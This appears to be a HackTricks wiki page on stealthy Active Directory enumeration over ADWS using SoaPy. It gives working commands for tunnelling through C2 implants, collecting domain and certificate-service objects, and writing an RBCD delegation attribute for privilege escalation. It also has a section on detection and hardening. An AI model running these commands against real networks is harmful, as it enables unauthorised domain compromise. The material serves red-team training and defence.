Active Directory Web Services (ADWS) Enumeration & Stealth Collection

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

What is ADWS?

Active Directory Web Services (ADWS) is enabled by default on every Domain Controller since Windows Server 2008 R2 and listens on TCP 9389. Despite the name, no HTTP is involved. Instead, the service exposes LDAP-style data through a stack of proprietary .NET framing protocols:

  • MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF

Because the traffic is encapsulated inside these binary SOAP frames and travels over an uncommon port, enumeration through ADWS is far less likely to be inspected, filtered or signatured than classic LDAP/389 & 636 traffic. For operators this means:

  • Stealthier recon – Blue teams often concentrate on LDAP queries.
  • Freedom to collect from non-Windows hosts (Linux, macOS) by tunnelling 9389/TCP through a SOCKS proxy.
  • The same data you would obtain via LDAP (users, groups, ACLs, schema, etc.) and the ability to perform writes (e.g. msDs-AllowedToActOnBehalfOfOtherIdentity for RBCD).

NOTE: ADWS is also used by many RSAT GUI/PowerShell tools, so traffic may blend with legitimate admin activity.

SoaPy – Native Python Client

SoaPy is a full re-implementation of the ADWS protocol stack in pure Python. It crafts the NBFX/NBFSE/NNS/NMF frames byte-for-byte, allowing collection from Unix-like systems without touching the .NET runtime.

Key Features

  • Supports proxying through SOCKS (useful from C2 implants).
  • Fine-grained search filters identical to LDAP -q '(objectClass=user)'.
  • Optional write operations ( --set / --delete ).
  • BOFHound output mode for direct ingestion into BloodHound.
  • --parse flag to prettify timestamps / userAccountControl when human readability is required.

Installation (operator host)

bash
python3 -m pip install soapy-adws   # or git clone && pip install -r requirements.txt

Stealth AD Collection Workflow

The following workflow shows how to enumerate domain & ADCS objects over ADWS, convert them to BloodHound JSON and hunt for certificate-based attack paths – all from Linux:

  1. Tunnel 9389/TCP from the target network to your box (e.g. via Chisel, Meterpreter, SSH dynamic port-forward, etc.). Export export HTTPS_PROXY=socks5://127.0.0.1:1080 or use SoaPy’s --proxyHost/--proxyPort.

  2. Collect the root domain object:

bash
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
      -q '(objectClass=domain)' \
      | tee data/domain.log
  1. Collect ADCS-related objects from the Configuration NC:
bash
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
      -dn 'CN=Configuration,DC=ludus,DC=domain' \
      -q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
           (objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
      | tee data/adcs.log
  1. Convert to BloodHound:
bash
bofhound -i data --zip   # produces BloodHound.zip
  1. Upload the ZIP in the BloodHound GUI and run cypher queries such as MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c to reveal certificate escalation paths (ESC1, ESC8, etc.).

Writing msDs-AllowedToActOnBehalfOfOtherIdentity (RBCD)

bash
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
      --set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
      msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'

Combine this with s4u2proxy/Rubeus /getticket for a full Resource-Based Constrained Delegation chain.

Detection & Hardening

Verbose ADDS Logging

Enable the following registry keys on Domain Controllers to surface expensive / inefficient searches coming from ADWS (and LDAP):

powershell
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value 0 -Type DWORD

Events will appear under Directory-Service with the full LDAP filter, even when the query arrived via ADWS.

SACL Canary Objects

  1. Create a dummy object (e.g. disabled user CanaryUser).
  2. Add an Audit ACE for the Everyone principal, audited on ReadProperty.
  3. Whenever an attacker performs (servicePrincipalName=*), (objectClass=user) etc. the DC emits Event 4662 which contains the real user SID – even when the request is proxied or originates from ADWS.

Elastic pre-built rule example:

kql
(event.code:4662 and not user.id:"S-1-5-18") and winlog.event_data.AccessMask:"0x10"

Tooling Summary

PurposeToolNotes
ADWS enumerationSoaPyPython, SOCKS, read/write
BloodHound ingestBOFHoundConverts SoaPy/ldapsearch logs
Cert compromiseCertipyCan be proxied through same SOCKS

References

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks